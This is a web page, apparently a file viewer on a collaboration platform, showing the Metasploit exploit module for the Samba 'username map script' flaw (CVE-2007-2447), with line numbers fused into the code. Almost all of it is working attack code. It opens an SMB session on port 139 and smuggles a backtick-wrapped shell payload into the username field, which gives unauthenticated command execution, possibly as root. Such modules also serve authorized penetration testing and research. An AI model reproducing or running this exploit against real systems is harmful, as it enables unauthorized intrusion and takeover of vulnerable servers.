Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/samba/usermap_script.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SMB::Client910# For our customized version of session_setup_no_ntlmssp11CONST = Rex::Proto::SMB::Constants12CRYPT = Rex::Proto::SMB::Crypt1314def initialize(info = {})15super(update_info(info,16'Name' => 'Samba "username map script" Command Execution',17'Description' => %q{18This module exploits a command execution vulnerability in Samba19versions 3.0.20 through 3.0.25rc3 when using the non-default20"username map script" configuration option. By specifying a username21containing shell meta characters, attackers can execute arbitrary22commands.2324No authentication is needed to exploit this vulnerability since25this option is used to map usernames prior to authentication!26},27'Author' => [ 'jduck' ],28'License' => MSF_LICENSE,29'References' =>30[31[ 'CVE', '2007-2447' ],32[ 'OSVDB', '34700' ],33[ 'BID', '23972' ],34[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],35[ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]36],37'Platform' => ['unix'],38'Arch' => ARCH_CMD,39'Privileged' => true, # root or nobody user40'Payload' =>41{42'Space' => 1024,43'DisableNops' => true,44'Compat' =>45{46'PayloadType' => 'cmd',47# *_perl and *_ruby work if they are installed48# mileage may vary from system to system..49}50},51'Targets' =>52[53[ "Automatic", { } ]54],55'DefaultTarget' => 0,56'DisclosureDate' => '2007-05-14'))5758register_options(59[60Opt::RPORT(139)61])6263deregister_options('SMB::ProtocolVersion')64end656667def exploit6869vprint_status('Use Rex client (SMB1 only) since this module is not compatible with RubySMB client')70connect(versions: [1])7172# lol?73username = "/=`nohup " + payload.encoded + "`"74begin75simple.client.negotiate(false)76simple.client.session_setup_no_ntlmssp(username, rand_text(16), datastore['SMBDomain'], false)77rescue ::Timeout::Error, XCEPT::LoginError78# nothing, it either worked or it didn't ;)79end8081handler82end83end848586